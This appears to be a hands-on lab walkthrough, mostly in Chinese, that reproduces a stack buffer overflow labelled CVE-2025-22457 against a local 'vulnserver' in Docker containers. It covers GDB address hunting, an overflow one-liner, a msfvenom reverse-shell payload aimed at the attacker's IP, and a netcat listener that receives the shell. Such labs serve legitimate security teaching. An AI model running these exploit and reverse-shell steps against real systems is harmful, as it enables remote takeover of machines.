
Hands-on lab reproducing CVE-2025-22457: sets up Docker attacker/victim containers, finds stack addresses with GDB, and delivers a msfvenom reverse shell exploit.
使用windows的話可以開wsl執行
chmod +x setup_environment.sh
./setup_environment.sh
由於記憶體位址和 IP 在不同環境中是動態的,需要手動找到它們,並更新 exploit.py 腳本。
docker exec -it atac /bin/bash
docker exec -it vic /bin/bash
這個步驟的目標是找到一個穩定的堆疊位址,以便我們的 payload 可以精確跳轉。
gdb ./vulnserver
(gdb) b strcpy
(gdb) run
觸發斷點: 使用attacker docker,執行以下指令來發送一個測試 payload。這會讓 GDB 停在斷點上。 注意: 請將 <VICTIM_IP> 替換為步驟一中顯示的 Victim IP。
python3 -c 'import socket; s = socket.socket(); s.connect(("<VICTIM_IP>", 9999)); s.send(b"A"*516 + b"BBBB" + b"C"*300); s.close()'
找到並記錄位址: 回到 GDB 所在的終端機視窗,程式應該已經停下來了。執行以下指令檢查堆疊:
(gdb) x/200wx $esp
在輸出中,找到一片由 0x43434343 (代表 'C') 組成的區域。從這片區域的中間隨便挑選一個位址 (例如 0xffffd580) 並複製下來。這就是 stack_address。
用文字編輯器將exploit.py中的stack_address更新成剛剛複製的address
在 attacker 容器的 shell 中,執行 msfvenom 指令來生成 shellcode。 注意: 請將 <ATTACKER_IP> 替換為步驟一中顯示的 Attacker IP。
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -b '\x00' -f python
複製 msfvenom 輸出的整段 buf = b""... 程式碼,並用它完全替換掉 exploit.py 檔案中現有的 buf 變數部分。
nc -lvnp 4444
可以使用以下兩種方法 方法一
./vulnserver
方法二
gdb ./vulnserver
gef➤ run
python3 exploit.py <victim_ip>
驗證結果: 切換回 netcat 監聽器所在的視窗。如果一切順利,可以看到一個連線建立,並獲得一個可以互動的 shell。您可以輸入 whoami、ls -la 等指令來驗證。
在 GDB 中輸入 quit,然後在容器 shell 中輸入 exit。
docker stop vic atac
docker network rm 111550082_net